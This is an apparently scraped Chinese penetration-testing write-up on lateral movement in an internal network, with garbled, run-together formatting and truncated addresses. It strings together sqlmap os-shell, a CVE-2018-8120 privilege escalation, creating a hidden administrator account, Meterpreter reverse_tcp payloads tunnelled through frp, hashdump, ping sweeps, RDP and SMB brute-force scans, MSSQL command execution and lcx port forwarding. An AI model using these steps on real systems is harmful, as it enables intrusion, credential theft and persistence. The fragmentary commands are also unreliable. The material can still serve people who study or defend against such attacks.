干货内网渗透之横向渗透 作者hackctf_W

1、干货|内网渗透之横向渗透作者：hackctf原文链接：/s/swR6XsuK7j8rzIHIRxw5Nw本文由 干货收集整理：/test/index.php在一次测试中发现某系统存在SQL注入漏洞。且IIS可暴露绝对路径。使用-os-shell命令，填写绝对路径可执行系统命令。1sqlmap在执行-os-shellI命令时向服务器写入了上传文件的脚本。权限不够，上传cve-2018-8120.exe进行提权。2cve-2018-8120.exewhoamicve-2018-8120.exenetuseradmin

2、test1234qwer./addcve-2018-8120.exenetlocalgroupadministratorsadmintest/add选择自己上传msf马(由veil生成)，由frp穿透到内网。详情参考： getshell的进一步利用use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost exploit -jportfwd add -l 3389-r 0-p33893注： 依然需要在frpc上进行配置。为了在内网获取更多服务器，需要获取管理员a

3、dministrator的。在登录成功的前提下，以管理员身份再次运行msf马，可顺利提权至system。getuid getsystem通过各种攻击提升到system权限4run post/windows/gather/hashdump run post/windows/gather/checkvm获取系统hash尝试md5一下。nice！使用administrator来登录。5比如mysql数据库。6for /l%iin (1,1,255) do ping10.0.15.%i-w1-n1 |find/ittl=meterpreter添加路由。runget_local_subnetsrunau

4、toroute -s /24添加路由使用metasploit模块查看一下该局域网开启3389的服务器。7use setrunauxiliary/scanner/rdp/rdp_scanner rhosts 0-33扫描smb登录use set set setrunauxiliary/scanner/smb/smb_loginRHOSTSSMBUser SMBPass0-33administrator 123456a?8910继续。 。 上传hsscan工具扫描一下弱口令。使用metasploit的mssql模块来添加管理员。use auxiliary/admin/mssql/mssql_execset RHOST2set USERNAMEsaset PASSWORDsoft11set CMD runnet user admintest1234qwer. /addok！go，go，go。重复之前的操作。上传msf马并以管理员身份运行。12MD5一下。 。以administrator登录13再次批量扫描smb。 又获取几台服务器。尝试登录3试试14为了更加方便远程服务器，上传lcx.exe工具进行端口转发。./portmap -m